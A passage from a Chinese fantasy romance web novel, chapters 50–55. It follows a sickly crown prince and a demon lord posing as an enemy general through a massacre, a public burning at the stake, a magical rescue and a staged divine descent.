只是他的手上,着实没几个人手,有些像无头乱撞的苍蝇。 “你说,我要是带着暗卫去调查那些杀手,我这算不算是为凉国出了力?” “怎么不算。”王公公立刻道:“未来储君不顾生死排除异己,这还不够感动民心啊?” 马屁拍完,他又是一阵担忧:“太子你就别去了,你要是受伤,以后奴才死了可没法跟孝昌皇后交代啊。” “我不会死。”月轻盈勾唇笑得无力,眼睛却是在放光,“我就是……去核实一下得来的消息是不是真的。” 夜晚,夜黑如漆。 月轻盈和暗卫们穿着一身黑衣,手脚放轻,摸到了三不管地带。 据沈砚台所说,先前那些杀了凉国百姓的人就龟缩在这里。 月轻盈来这里,一是为了搞清楚他们的身份,二是,顺便偷摸着带走几条命,慰籍那些无辜死去的百姓。 然而,这些人很是警觉,风吹草动都逃不过他们的探查。 他们刚爬上屋脊,房内的人就破房顶而出,亮出了兵器,朝他们杀了过来。 暗卫们武功高强,可抵挡几分,月轻盈也会舞刀弄枪却因体弱多少有些吃力。 对方人马还在增加,暗卫那边也出现了死伤,情况十分危急。 就在月轻盈招架不住对方的攻击,一再往后退,差点掉下房顶的时候,一道人影出现。 “沈砚台?”你怎么来了?月轻盈刚想问,就听到对面的人惊呼。 “将军!” 月轻盈心下沉,猛地抬头去看沈砚台,眼里带上了讥讽和受伤。 沈砚台……果然是来抓他们的。l 不然他为什么出现的时机那么巧? 那人还喊他将军。 那一声将军里多的是依靠,喜悦,希冀,呵,真得人心。 “干什么这个表情,都说了帮你。” 看不过月轻盈阴暗的小心思,沈砚台伸手扣住他的下巴,强迫他看着自己。 “你好好看看。” 他话一落音,对面朝他走来似迎接他古国士兵,噗,成了一团血雾。 腥味在涌动。 空气里是一片寂静。 月轻盈眼也不眨,看着沈砚台手起刀落将古国人给灭了,久久反应不过来。 先前那些杀手,也就是古国的士兵,看着他们的信仰,古国战神,一挥手就将自己人给杀了,同样震惊的无法动作。 沈砚台不管不顾,上前将这个打飞,那个捏爆,硬生生将局势变成了他个人的屠宰场。 他一身喷涌的血,月色下,似是地狱来的魔。 “将军,你为什么背叛……”一个还未断气的古国士兵,单手死死压住被割破的喉咙,即使如此,血还是争先恐后大股大股涌出,追问沈砚台。 沈砚台看了他一眼,“为了世间清正,海晏河清,不再有战乱。” 古国士兵眼里有不解,有迷惑,有怨恨,死前,最后都化作不甘心,死死地盯着沈砚台的方向。 沈砚台将他清理了,回身去找月轻盈,却见他眼瞳异常发亮,写满了恐惧。 他一怔,上前一步,却遭到了他的抗拒。 “别过来!”月轻盈喝退沈砚台,抬眼看他,眼睛通红,不可置信:“沈砚台……你怎么连自己的同胞都杀……”【你现在阅读的是 】 50-60 第51章 第51章 他送出去的心意是杂草? 沈砚台启唇, 想说自己在帮他,又觉得有些自作多情,看他的反应, 他明明就是在惧怕他。 他手垂在腿侧, 紧握成拳, 看着月轻盈的目光里积赞着凶光。 “怎么,我杀人不行?” “无辜者不能杀,同胞不能杀,善良者不能杀, 坏人亦不能乱杀……”月轻盈看他的眼里落满了泪光。 “我在你的身上, 没有看见一丝对生命的敬畏,你杀你的同胞眼也不眨, 来日,杀了我们是否亦不手软……” 沈砚台磨牙, 瞪着月轻盈,他一直都是如此, 杀人如麻, 杀人就杀人, 何时需要分杀什么人! 月轻盈见他凶狠的样子,便知他说什么都是徒劳, “你太危险了……” 将视线从他身上抽离,月轻盈召回暗卫撤退, 声音很轻:“谢谢你来救我……我……会在不久后搬出催命寨。” “你要走?”沈砚台一愣, 眼也不错的看着抽身离去的月轻盈,“你要走去哪里!” 他气急败坏,指着地上的死尸:“只是因为这几个下等生物,你就要走?” 月轻盈看向他所指之处, 目光薄凉:“他们不是下等生物,是有血有肉的人,是你古国的子民亦是你的属下,更是他们父母的孩子……” 月轻盈不再看沈砚台,去意已绝。 沈砚台没有拦他,负气吼道:“好啊,你走啊,你以为你一个小小凉国太子能抵得过古国百万大军的倾轧,能挡得住新皇后的心机手段?” 他恨声道:“我等着,我等着看你落魄,等着看你一无所有,等着你后悔离开我的那一天!” 这类似于诅咒的话,让月轻盈心酸,他抿住颤抖的唇瓣,头也不回。 他一走,空气都冷了几分,沈砚台站在月下,呼哧喘气,心口的憋闷和堵塞让他有些失控。 他想杀人! 他抬起满手是血的手掌,眼神阴晴不定,一边想着去杀了古国的人,一边又想着杀了凉国的人让月轻盈不痛快。 可是想起月轻盈眼眶猩红,满目都是对他的失望,他又有些迷茫。 他沉寂下来,想了很久。 在修真界的时候,月轻盈就一再追问过他对生命有没有敬畏,他的回答亦和刚才一样,不悔没有。 可现在月轻盈再次说起,他……犹豫了。 他放下手,吐出胸口一口浊气,抬脚一个瞬移来到了催命寨。 月轻盈等人肉体凡胎,没那么快到。 他便率先去了他和月轻盈的屋子,一边觉得丢脸一边暴躁的将月轻盈的东西都给藏起来。 他说走他就让他走,他一堂堂魔尊什么能让人这么落了面子。 在藏的过程中,他翻到了一个锦囊,打开瞧,里面都是他送给月轻盈的礼物。 他一直没见他拿出来过,以为他丢了,没想到是被他偷偷摸摸藏起来了。 沈砚台心中的怒意被安抚了几分,他摩挲着锦囊,藏在自己的心口处。 月轻盈若还是执意要走,他就……拿出这东西威胁他! 不多时,月轻盈等人回来了。 沈砚台坐在桌子上,看似沉稳实则心里没有多少底气。 门吱呀一声被推开,月轻盈满脸疲惫走进来,抬头再见到沈砚台的那科僵硬了一瞬,将视线放在了别处。 “我……我来拿走我的东西。” 这是他们两个人的房间,月轻盈要带走自己的东西自然要知会一下舍友。 “嗯。”沈砚台眼眸一沉。 随即,眼神就跟在月轻盈的身上扎根了一样,他走到哪,他跟到哪。 背后那灼热的视线看的月轻盈浑身不适,加之,他开了几个柜子也没发现自己的东西,立刻就懂了是这个男人所为。 “我的东西呢?”他回身,视线和沈砚台的对上,语气咯有压抑的愠怒。 竟然将他的东西都藏起来,好达到不让他走的目的,幼稚! “什么你的东西,我没看见。”沈砚台给自己倒了杯水,慢慢啜着。 还不承认,卑鄙! 月轻盈恨得咬牙,又不想跟他正面对上,闭闭眼,睁开眼时眼底清明。 “算了,不见就不见了,反正是些不值钱的衣物,没了我就不要了。” “不要了?!”沈砚台怀疑自己幻听,他的那句不要了,好像连他也不要了。 “不要了。”月轻盈摇头,不卑不亢,和情绪有些激动的沈砚台对峙。 “你怎么能不要了?”沈砚台捏碎了水杯,紧握成拳,手心被碎片扎破,鲜血淋漓。 “你再找找,你不是还有珍重的东西吗?” “什么,我怎么不记得?”月轻盈留意到他的伤,眉头拧着,终是没提。 沈砚台眉头一跳,看来苦肉计无用,他起身,拿出锦囊,递给月轻盈。 “泉兰丝锦,素有仙品一称的绝佳丝锦,如此珍贵的东西里面装着的,难道不是你珍重的东西吗?” 月轻盈呼吸一紧,转头瞪着沈砚台,眼里有着慌乱,被他知道了。 可观他并无悔过之意,他眼底爬上了失望,他扭过头,狠心道:“上面沾染了你的血,脏了,我不要了。” “你不要了?”沈砚台心丝丝麻麻的顿痛,死死盯着月轻盈,将锦囊又凑近了他几分。 “不要了。”月轻盈摇头,抬手推开,看着沈砚台,眼底有挣扎最后归于平静。 “泉兰丝锦我还有,珍重的东西也还会有,我年少无知,错把杂草当宝,这次就当是给自己涨个教训。” 他送的东西是杂草? 他送出去的心意是杂草? 沈砚台眼圈猩红,盯着弯腰跟他道谢,说婚约解除的月轻盈,将手中的锦囊捏了个粉碎。 月轻盈起身,低眉敛目,说着极力撇清关系的话,“下次见面可能就是战场上了,骁勇将军……再会。” 月轻盈走了。 空着手走的。 他的计谋没有成功,他的心……瞬间就空了。 好半晌,他才找回自己的声音,怒不可遏! “一个被我羞辱自戕后被我救活,胆小躲到人间不敢见我的落魄仙尊,被我玩弄的愚蠢男人,竟敢……几次三番忤逆我,拨动我的心弦,乱我情绪,好气!好气!” 他眼里的血色要破窗而出,“讨厌我杀人,害怕我,那我就杀个够……看看,到底是你被我驯服,还是我被你驯服!” 第52章 第52章 当众将太子盈烧死 沈砚台说到做到, 他没有任何遮掩,先去古国杀了一批,又去凉国杀了一批。 骁勇将军战神的名号堕落成了杀神。 而每次杀完人, 他都要嫁祸给月轻盈。 堆积而成的尸山上, 沈砚台一身玄色坐在上面, 迸溅在脸上的血还在往下滴落,眉眼里的杀意还有余波在回荡。 他修长骨节分明的手,把玩着一把飞刀,被鲜血打磨的更加锋利。 他抬眼, 眉眼深重, 盯着对面拿着长枪将他围困,却不敢上前的几千古国士兵, 脸上带着狞笑。 “你们问我为什么滥杀无辜,那是因为月轻盈, 他给我下了蛊。”轻飘飘的一句话却是带来了血雨腥风。 消息很快就传到了古国皇帝的耳朵,他震撼起身, 不可置信自己的将军怎么为了个男人成了魔头。 “据说是骁勇将军在扮成悍匪头子时, 曾和凉国太子成亲, 许是那时候……” 听完探子的话,古国皇帝立刻将月轻盈视为妖魔, 下旨要他死! 他要他的骁勇将军继续为他效力。 沈砚台的话在凉国也说了一遍,只不过事发突然, 消息还没那么快传到皇帝的耳中。 此时的月轻盈回到皇宫, 便去皇帝面前复命。 皇帝的御书房内。 月轻盈站如一颗松柏,浑身清冽温润,“父皇,儿臣有事禀报, 先前死了的那些百姓是古国派来的杀手所为。” 皇帝的座椅上,皇帝正和新皇后纠缠,两人彻底丢了遮羞布,丝毫不将外人放在眼里。 “古国?” 听见古国,皇帝清醒了不少,不敢和古国正面对上,问了其他:“那招安一事呢?” 月轻盈抿唇,思忖片刻,“招安一事亦是假的,那悍匪头子是古国的骁勇将军假扮,为的就是让凉国内乱。” 皇帝一听,事关重大,他推开新皇后缠过来的手指,神色严峻:“你说的可都是真的?” “绝无半点虚假。”月轻盈恭敬道。 御书房内沉寂下来。 就在这时候,一身上带着血,脸色煞白的士兵冲了上来。 “报!” “皇上,不好了,门外一男子屠戮了我凉国近千人士兵!” 众人心下骇然。 皇帝脸成青色,拍案而起,“是谁!是谁那么大的胆子!去,活捉他!将他给朕凌迟!” 士兵这时却是支支吾吾了起来,还不时看向月轻盈。 心里莫名咯噔一声,月轻盈预感不妙。 士兵颤巍巍道:“那人是古国的骁勇将军,他说太子给他下了蛊,杀人也是为了想见太子。” 像是有一根闷棍兜头打下,月轻盈眼前一黑,内心震荡不平,他捂住自己的心口,被刺激的剧烈咳嗽起来。 快要窒息的感觉让他痛不欲生,沈砚台的胡作非为却要让他承受罪果,他亦心如刀割。 察觉到皇帝和新皇后落在自己身上,那仿若见了妖怪的眼神,月轻盈心凉,眼圈变红,看到了自己的下场。 头晕耳鸣之际,他听见皇帝惊惧的声音:“快,快将太子压入大牢!” 竟是信了太子会蛊术人心的话。 月轻盈脸色苍白,咳嗽不止,脚步踉跄,被人带了下去。 他一走,皇帝便失神的坐在位子上,新皇后后知后觉,差点要笑出声。 这是天要助她啊,谁能想到太子盈招安,没招成功就算了,居然招回来个那么难缠的恶鬼。 她眼眸发亮,看了一眼皇帝眼里的迷茫,拿起帕子遮掩住唇角的弧度。 “皇上,太子盈怎么会蛊术,肯定是那些士兵们传错话了,该是那骁勇将军在太子盈招安期间,对太子盈心生爱慕才会……” “那也不行!”皇帝怒拍案,眼底阴沉:“太子是凉国储君,若是传出断袖之嫌,皇室连带着凉国皆成了天下人的笑话!” “那……皇上,你打算怎么处置太子盈?” 皇帝眼眸一亮,却是鬼使神差的想到了一个办法。 “那古国的骁勇将军若是真的对盈儿有意,愿为他做点什么,朕也也可以放人……” 新皇后瞬间就懂了他的意思,皇帝打算用太子盈和古国做了交易,换凉国一世安稳。 这个决策不得不说很有远见,可是……太子盈不死她就是不甘。 “皇上,若真如你所说,将太子盈嫁去古国,可若是太子盈和古国联手,联手颠覆凉国可怎么办啊?” 这也是皇帝忌讳的地方,他将太子盈嫁去古国,也只是一瞬间的念头,并未做更深的打算他还得再看看情势。 见皇帝不说话,新皇后的眼底划过了一丝阴狠。 距离骁勇将军杀人大闹古国凉国后,又几起大范围死人的事件,对百姓们造成了更大的恐慌。 民间流传,这都是太子盈的蛊术在作祟! “太子盈蛊惑骁勇将军杀人,此刻他又蛊惑了其他人来杀人!” “凉国的百姓被杀的没有一万也有几千了!” “死的那些人里,有一家是我的娘舅,满门屠尽,最小的孩子还在襁褓中,真是太惨了……” “真怕哪一天就轮到了我们!” “我受不了了,哥几个我们再召集点人去官府闹吧!” “闹什么?” “让皇帝当众将太子盈这个会蛊术的怪物烧死!” 经过有心人使用的计谋,凉国的百姓们聚集在一起,每个人的都面目狰狞,手上拿着称手的农具做为武器,在皇室与百姓间隔开的那座城墙前没日没夜的呼吁。 “杀了太子盈!” “杀了太子盈,灭绝蛊术!” “杀了太子盈,人民安居乐业!” “杀了太子盈,还我们繁华盛世!” 城墙外的声音震耳欲聋,皇室内的所有人被吵得夜不能寐,日无地方躲。 皇帝也做了对策,闹得最凶的几个给钱,让他们安抚民心,启料,这些人铁了心要太子盈死。 实在遭不住了,皇帝便杀了那几个带头闹事的,本以为能震慑住百姓们,不曾想,却是激起了民愤。 官与民斗了起来,大军压来百姓们还是不松口 ,长此以往下去,皇室与百姓们的关系恶化,到最后只会落得个两败俱伤。 现有内乱还有外忧,皇帝及时止损,在思虑了一天一夜后,仿若老了十岁,做出了决定。 “太子盈于明日在街市上行刑。” “炮烙之刑。” 第53章 第53章 求来的庇佑我不要 立于云巅之上, 鹤唳风声在旁,沈砚台只听见了皇帝下旨的声音。 脸上早已露出稳操胜券的得逞之色,他慢慢落了下来, 依靠心头血找到了关押月轻盈的牢房。 月轻盈一身白衣, 身后竖着个木桩, 手腕被扣住,脚上亦上了锁链,绝无逃跑的可能。 他垂着脑袋,一头如瀑布般的长发遮住了容貌, 气势颓废, 整个人和阴暗的牢房融为一体。 “我早就说过,没了我你很快就会遇到挫折。” 黑暗中, 沉稳极缓慢的脚步声,伴随着男人戏谑的声音朝自己靠近。 月轻盈微微抬头, 墨发小幅度晃动,看着沈砚台的目光里有着坦然。 “倒是要多谢你在背后做的手脚, 让我认识到我确实没什么能力。” 沈砚台脚步一顿, 眼眸冷了下来, 继续走近:“小命都快没了,嘴巴还这么硬。” “你知道了什么?”月轻盈正眼看向沈砚台。 沈砚台志得意满, 唇角勾笑:“你那个皇帝爹信了你会蛊术的话,要把你当众处刑, 处以级刑, 炮烙之刑。” “不是挂在城墙上就行。”月轻盈目光放空对于自己的下场,他早就做好心理准备。 对沈砚台他是有丝丝怨恨的,可自始至终都是他的错,他不该去招惹他的。 “谢谢你来告诉我这个消息, 还有事吗,没事的话你可以走了。” “你不叫我救你?” 能听出他口中的厌恶和不耐烦,事情没有按照自己的预料走,沈砚台有些不甘心。 “救我?”月轻盈眼里充满了讥讽:“是你把我害成这样,却还企图让我开口向你求救,沈砚台如今我都要死了,你这么做,到底想从我这里得到什么?” 让月轻盈遭受死刑,自己确实在后面推波助澜,可他只是想吓唬他,让他低头,让他承认自己被驯服。 情势在失去掌控,沈砚台有些烦躁,“你想死吗?你只要开口求我,我就会保护你。” “求来的庇佑我不要。”月轻盈轻轻摇头。 “我就算活下来,身上也背负着会蛊术的骂名,父皇不认我,百姓不信我,至此无名无姓无家可归,一世不得清白,若你,你怎么活?” 月轻盈闭上眼,身心俱疲,他眉宇间带上了痛苦,再睁开眼时,近乎乞求,“沈砚台……你走吧。” 沈砚台你走吧。 沈砚台心口被这几个字一刺,密密麻麻的酸疼,他看着月轻盈眸光复杂。 他不信,他赌月轻盈肯定是在强撑,他没有见识过炮烙之刑,等他感受到亲眼看着自己被烧死时的恐惧,届时,他肯定会忍不住开口求他救他。 带着这样笃定的想法,沈砚台重拾信心。 “你肯定会开口求我的。”沈砚台执着的重申了一遍。 月轻盈看着他,目光亦很决绝,“我不会。” “打赌吗?”沈砚台亦不退让:“若是我赢了,你就跟我走……若是你赢了……往后……我都依你。” 说到都依你这三个字的时候,沈砚台说的很慢,莫名慌乱,仿若自己已经落入了月轻盈的手中。 “好。”像是安抚小孩子吧,月轻盈同意了,只不过他在心里却是想着,死了就再也不用见沈砚台了。 行刑之日在明日,沈砚台却不走,非要赖在这里,不时磨着月轻盈,要他开口求他救他。 月轻盈纯当他在给自己催眠。 听到小小的鼾声,沈砚台刚开启的唇立刻阖上,他心思阴暗的猜测,月轻盈肯定是在假睡。 不过 ,他还是温情的施法将他从木桩上放下来,将他安置在变出来的床上休憩。 月轻盈确实是在假睡,不想面对沈砚台。 就在他狐疑牢房怎么会出现床具时,忽然身旁一阵不安分,下一秒,就有一道温暖的身躯贴着他的后背。 他身体瞬间一个僵直,沈砚台怎么也睡过来了? 此人当真脸皮够厚。 他一阵气结磨牙,假借睡姿不好,啪,踢出一脚砸在沈砚台的大腿上。 听见身后人闷哼了一声,他带着些报复得逞的心理,迷迷糊糊睡了过去。 第二日,行刑之日。 凉国街市。 月轻盈被扣在木桩上,脚下是堆积的柴火,有举着火把的行刑人在一旁等候。 他的四周围满了人,都是那些信了他会蛊术的百姓,他们面目狰狞,眼露不善,手里姐提着臭鸡蛋坏掉的菜叶子。 “妖怪,害的凉国死了这么多的百姓!” 随着第一道怒骂声想起,月轻盈眼前一花,脑袋一痛,接着粘粘颜色混浊带有死物腥臭的蛋液从他的头上掉落。 月轻盈怔然,眼底立即就红了。 他原本以为自己做好了心里建设,用尽了一切谎言骗自己接受,能承受所有可能会迎来的不善的对待。 可是这才刚开始,一个破鸡蛋,他就有些退缩了。 接着便是第二道,第三道……无穷无尽,源源不断的骂声,伴随着臭鸡蛋,烂菜叶,一并袭来。 月轻盈浑身发抖,疼且屈辱,但他宁死也不会开口朝那人求救。 沈砚台站在酒楼二楼位置绝佳的客房,看着月轻盈被千人厌,万人唾骂的一幕,用尽力气才忍着了杀意。 他眼底猩红,面目狰狞,垂在腿边的手死死紧握成拳。 从见到月轻盈被丢第一颗臭鸡蛋起,他就有些于心不忍了。 后面见他一声不吭硬是捱下了所有,也倔强的不坑向他开口,又有一些恼怒。 他是故意的! 故意对着干! 他就是不低头,就是不肯承认自己需要他,就是不肯甘愿被他驯服。 所以他也放慢了救他的步伐。 他在等。 等最后的时刻。 百姓们见月轻盈嘴巴死硬,愣是没吐出一句他们想听的求饶词汇,有过激者纷纷从地上捡起石头朝他砸去。 石头尖锐的一角将他的额面砸的皮开肉绽,身体上的伤口也只多不少,他就是个靶子,到最后遍体鳞伤,鲜血直流。 沈砚台看的咬牙切齿,手心被指甲掐的渗出了血,脚步都不自禁的往前迈了一步,还是在等。 “午时三刻已到,行刑!” 月轻盈身居太子之位,执行死刑的人自然是皇帝。 随着他一声令下,举着火把的行刑人上前一步,将火把掷在柴火堆上。 沈砚台眼睛一亮,甚至有些激动,他等的就是这个时机! 大火轰然升起,骤起的高温将周围的百姓都给撩的后退了好几步。 处在火刑中间的月轻盈,更是身如历经火海,蔓延的火舌已然触到了他的衣角,灼烧了他的皮肤,他一侧的脸直接被烧至溃烂。 月轻盈疼得再也忍不住,呜咽了一声。 沈砚台早已是目眦欲裂,前胸后背皆是湿汗,他飞身冲入火中,一个挥掌扫开火点,利落砍下禁锢。 “你为什么不开口求救!我说过我会救你,为什么不说!”沈砚台气的几乎要疯。 “我……我可没说要你救我……” 见他要带自己走,月轻盈拉住了沈砚台的衣袖,冲他摇头,极力挤出一丝笑。 “我赢了,你说……你都依我的……” 看着沈砚台不可置信的眼神,月轻盈挥开他的手,将他用力一推,自己往后退,故意让自己跌入火中。 “别来救我……” 月轻盈和那燃起的烈烈猛火一比,显得那么的脆弱不堪一击。 沈砚台看着他坠落的身影,眼眶猩红,终究是不在遮掩自己心口处的害怕和心慌。 他一把扣住月轻盈的手,用力将他带往自己的怀里,紧紧拥着他,高大的身躯竟是微微发抖,还有着后怕,被吓的狠了,不住低语。 “我输了……我认输……你不要死。” 第54章 第54章 垫脚,蹭蹭男人的耳垂 月轻盈任由他抱着, 感受着他像是要将自己嵌入他体内的力气,心脏抽痛。 “不是说好了,你若是输了就都依我, 你怎么又反悔?” 听他气若游丝还在跟自己辩, 沈砚台愈加后悔, 是他不该。 他明明知道月轻盈一身坚硬的骨,受不得逼迫,他却还是飞蛾扑火撞了上去,妄图改变他。 真的见识到他宁愿玉碎不为瓦全, 沈砚台心底最柔软的一处, 终究是舍不得。 “对……对不起……都是我的错……”向来高高在上,错也是自己对的沈砚台, 不甚熟练却满腔赤诚的道歉。 他松开月轻盈,这才发现他居然早已是泪流满面, 直至此刻,他才知道自己错的有多离谱。 他看着月轻盈被烧毁的半张脸, 心疼的无以复加, 伸手想碰又怕弄疼他。 最后他只敢, 用指腹轻轻捧着他的下颌慢慢摩挲,小心翼翼地试探, “你不要死,留在我身边……给我个机会弥补这一切好吗?” 月轻盈唇瓣颤抖, 眼神有些软, 不过他终究没忘记他真正的目的。 “你说你认输,都依我,那以后不要乱杀人了好不好?” “只要你活着,我连一根草都不去折……”沈砚满目纵容。 月轻盈抽抽鼻子, 没有忍住,揪紧了沈砚台的衣服,忘情大哭了起来。 “我刚才差点就死了……沈砚台……我害怕死了……我怕我再也见不到你了,你那么气人……还爱杀人……我应该恨透你了,可我怎么死前还在想着你……” 见他哭的凶,沈砚台立刻用指尖拭去他眼角的泪,他脸上有伤,泪水是咸的,怕他疼上加疼。 “别哭……我真的……会改……”沈砚台手足无措,认错姿态生疏,难得显露出几分笨拙。 月轻盈泪眼婆娑,想到先前那些被沈砚台杀死的人,抽噎几下,情绪又低落了下去。 “可是……你先前杀死的人怎么办?” 沈砚台张张唇,修真界的人尚且有魂珠可复活,下界的人,死了便是死了。 他只能看着月轻盈落泪,倾身上前将他重新揽回怀里,胸腔鼓动,为了满足他的愿望,第一次违背了自己的凶残暴虐弑杀的本性。 “为了你的愿望,这天下苍生的安定和太平,我来摆平。” 听他从杀人不眨眼的魔,进展到开始为天下人着想,月轻盈是开心的,可是其中的难处却是无法想象。 月轻盈闭上眼,不管他是吹牛还是真的能办到,浪子回头的心意都不能被辜负。 “好……不论是生是死,我都陪你。” 沈砚台没说话,只将他抱的更紧了。 突起的变故,让在场所有的人都有些措手不及。 “台上那横冲直撞的人,是不是有点像古国的骁勇将军?” 有百姓一眼认出了沈砚台,人群中几次分辨,确认无误后,立刻叫嚣了起来。 “好啊,看来这太子盈会蛊术一事是真的!” “太子盈不止会蛊术,连男人都会勾引!” “凉国士兵呢,你们还愣着干什么,赶紧杀了他们啊!” 坐在上首的皇帝猛地站起身,怎么也没有想到,月轻盈死刑骁勇将军居然会来搅局。 他耐心等待了一段时间,派出去的探子来报,说周围并无骁勇将军带来的士兵,不在按耐。 皇帝双眼赤红,看着和骁勇将军拥抱着的太子盈,目光复杂,夹杂着失望,歧视,恼怒,杀意。 太子盈终究是没有守住本心,和男人有了挂瓜葛,真是不要脸的断袖,他堂堂一代帝王可没有这样娘们唧唧的儿子! 他招来了弓箭手,咬牙切齿:“杀了他们两个!” 一声令下,弓箭手放弓,万箭齐发,在太阳光下显得冰冷刺骨的箭矢化身为毒蛇的獠牙,迫不及待的咬住猎物。 月轻盈目睹一切,看了一眼皇帝,心下了然,他又偏头看了一眼怀中高大的男人,眉眼一片柔软,胆大的垫脚,用唇瓣蹭了蹭男人的耳垂。 随即,眼底清亮,抱着沈砚台旋身,想以身挡箭。 耳听八路眼观四方的沈砚台,自然知晓来临的杀机,只是没想到他被月轻盈亲了,就愣了那么一瞬,这个傻子就想以肉身救他。 他内心柔软,看着月轻盈有些愠怒,嘴角却是止不住上扬,抱怨开口。 “不是说过你不要死吗,下次不许做傻事。” 他手轻轻一挥,万箭倏地停滞在空中,那恢宏的场面,是这些百姓没有见过的震撼。 “这这这……这箭怎么不动了?” “妖……妖怪,肯定是有妖怪!” “不对,肯定是月轻盈的蛊术,他也蛊惑了我们,这都是假的!” 百姓们乱成了一锅粥。 上位的皇帝见了也是满心惊恐,吓的一屁股坐回了椅子中,“这是怎么回事!弓箭手,弓箭手再放箭不要停!” 弓箭手们硬着头皮上,可是下一秒却是将他们吓得把弓都给丢在了地上! 沈砚台一挥,那些箭矢再度悬在空中,不再继续哪怕寸进半步。 “妖……妖怪,这肯定是妖怪!” 百姓们吓的屁滚尿流,尖叫着,恐惧着,相互推搡着想要逃离这片颠覆了他们的认知的混乱之地。 没有迎来想象中身体被洞穿的痛,月轻盈试探睁眼,就见到百姓们争先恐后逃跑的场景。 他狐疑看向男人,以为他做了什么,回头一看见到满天的箭矢,深深吸气,哦,他真的做了什么。 “这……这是怎么回事?” 见他惊讶的都快成了小结巴,沈砚台只觉得他非常可爱,和他贴了贴,才慢慢开口。 “一点小把戏。” 月轻盈不明白这怎么就叫小把戏了,把箭定在空中,神仙也不过如此吧。 见他眼也不眨的看着那些滞空的箭矢,沈砚台顿了一下,“这个你也会。” “我?”月轻盈满目迷茫,“我怎么可能会?” 沈砚台没说话,只持着高深莫测的态度盯着他。 突然,他弯眸一笑,捧起了月轻盈的脸,“夫人,我好像找到能拯救凉国的法子了。” “是什么?”沈砚台的掌心滚烫,粗糙的指尖蹭着他的喉结,月轻盈有点想往后躲,红着脸忍耐住了。 或许是经历了生死一线,又或许是沈砚台肯做出改变,他此刻也想和这个男人有肢体接触。 “夫人啊……你愿不愿意做个神仙?”沈砚台手上运着仙气,给月轻盈疗伤。 伤口处穿来冰爽舒缓的感觉,月轻盈呆愣,慢了半拍反应了过来。 “神仙?你是要……不行不行,我可不会像你这样给箭定在空中,而且这是骗人……传教士什么的……神佛什么的……” “只要有人信他就是真的,不是吗?” “相信我一次好吗?” 月轻盈点头,接着他就看见沈砚台伸出一手,将那些挤来挤去还是没逃脱的百姓给擒了回来。 月轻盈:目瞪口呆! 百姓们见自己行动被控制,立刻看向刑台上的沈砚台,目露乞求,张嘴吐出的就是求饶。 “骁勇将军饶命啊,我们不该冒犯您啊!” “对对对,骁勇将军啊放过我们吧,太子……太子盈你拿去,他是你的了!” “……” 哀嚎哭泣的声音震耳欲聋。 上位的皇帝见状也是脸色铁青,怕自己皇位不保,坐在原位不敢乱动。 “闭嘴。”沈砚台启唇,两个字就让空间安静了下来。 他看着此刻乖的跟小鸡一样的百姓们,想起他们先前丑恶的嘴脸,眼里带着嘲弄和杀意,不过他既然答应了月轻盈就不会再杀人。 “你们看好了,我刚才所露出的一手都是太子盈教我的。” 什么? 什么意思? 百姓们和月轻盈皆一脸茫然的看向沈砚台。 沈砚台弯唇,笑得有几分顽劣,他将月轻盈推出来,在他耳边低语不要紧张,便用魔气将他整个人托了起来。 在外人的眼中,月轻盈就如神袛,慢慢地浮空,而他脸上的伤口也在快速愈合。 一身血污脏乱涂抹的看不出痕迹的白衣,也在慢慢蜕变。 在太阳光下,他浑身聚拢着光,一身白衣无暇出尘,飘扬的墨发,怜悯世间的深重眉眼,让他看起来就是无上存在。 神仙二字在所有人心中划过。 沈砚台低沉的声音响起,“上天有好生之德,天道预测,人间有变,战乱几起,生灵涂炭,血流成河,特派天选之子,天临山第一仙尊月轻盈下凡拯救世间。” 看着有光辉照耀,一身圣洁的月轻盈,不觉有些恍惚,这就是他心目中念念不忘的人。 他第一次见到的月轻盈便是如此深刻的烙印在他的心底,脑海里。 原来他对月轻盈的不一样,一切都是有迹可循。 不然为什么做一场骗局,他都要将月轻盈变成第一次见面时他的样子。 “真美。” 沈砚台眼神落在月轻盈身上,炽热的程度不亚于光辉。 若不是碍于他们还在骗人,他此刻只想将月轻盈关起来,让他露出更多不一样的表情。 “夫人啊,咱们什么时候把洞房给入了?”沈砚台密语传音给月轻盈。 第55章 第55章 他好神气 本来有些恐高的月轻盈, 腿也不软了,心也不抖了,看了一圈人潮, 猛地, 转回头瞪着沈砚台。 “现在这个时机, 你说这话是认真的?” 沈砚台眨眨眼,看清楚他白玉般的耳朵变的绯红,眼瞳里有绽放的笑意,“夫人没拒绝, 那就是同意了。” 月轻盈抿唇, 有些别扭,没直白的说他是愿意的, 支支吾吾地:“事情还没解决,你, 你先不要跟我说话。” “夫人有上进心我也不能落后啊。” 沈砚台的柔情蜜意都用在月轻盈得身上,回眸直视着这些百姓时, 眼里流着冰川般的冷意。 “可有人对太子盈是上天派来的使者一事感到有异议的?” 百姓们交换了一个眼色, 活生生的人不借用外力飞到了天上, 不是有高强的功夫,就是有点子秘法在身上的。 神秘如月轻盈沈砚台, 他们是斗不过的。 大的趋势使然,他们就想认了这件事, 不曾想, 人群中忽然有一道干哑凄厉的女人声音响起。 “大人们啊……若你们是神仙,就救救我的孩子吧。” 众人寻声看过去,就见着穿着粗陋,长相普通, 眉宇间都是疲惫和伤心的女人,怀中抱着一个骨瘦嶙峋四肢扭曲的孩子。 这孩子一看就是畸形儿,且活不了多久了。 百姓们的眼里带上了嫌弃厌恶,更有甚者已经在默默远离这个女人的身边,怕会沾染晦气。 女人也是可怜人。 年幼家贫,被卖出去做活,好不容易找到了称心如意的男人嫁了,没成想第一胎,孩子就是个畸形儿。 她和丈夫悲痛欲绝,每日以泪洗面,公婆也劝说着他们将这个孩子溺死,他们年轻还能要二胎。 丈夫情深,不愿放弃属于他们两人的第一个孩子,便变卖家产,一路从家乡走过了好几个国家,遍寻名医。 若是没钱了,便在某一地呆上一段时间赚点小钱,继续踏上求医的路。 丈夫因过于劳累死在了途中,她靠着丈夫让她活下去,救孩子的信念撑到了凉国。 彼时,她身上已是身无分文,还要带着个畸形儿,穷途末路时,太子盈死刑,她便想着趁着人多来乞讨。 怎料,怎料,她就遇见了神仙。 在看到沈砚台和月轻盈露出那一手后,她眼底坚定,就是死,她也要为她和孩子求上一条活路! “求求你们,救救我的孩子!” 许是见到了希望,女人潸然落泪,不住地朝着月轻盈和沈砚台磕头。 月轻盈见状于心不忍,却也不敢应下,他们是在骗人,不是真的是神仙。 就在他为难着不知道怎么开口的时候,沈砚台却上前一步,应了下来:“好。” 百姓们不是傻子,面上看起来相信了神仙说辞,却也不过是为了活,心里却还是不能那么快接受。 先前他可是杀了不少人,百姓们也只是忌惮他。 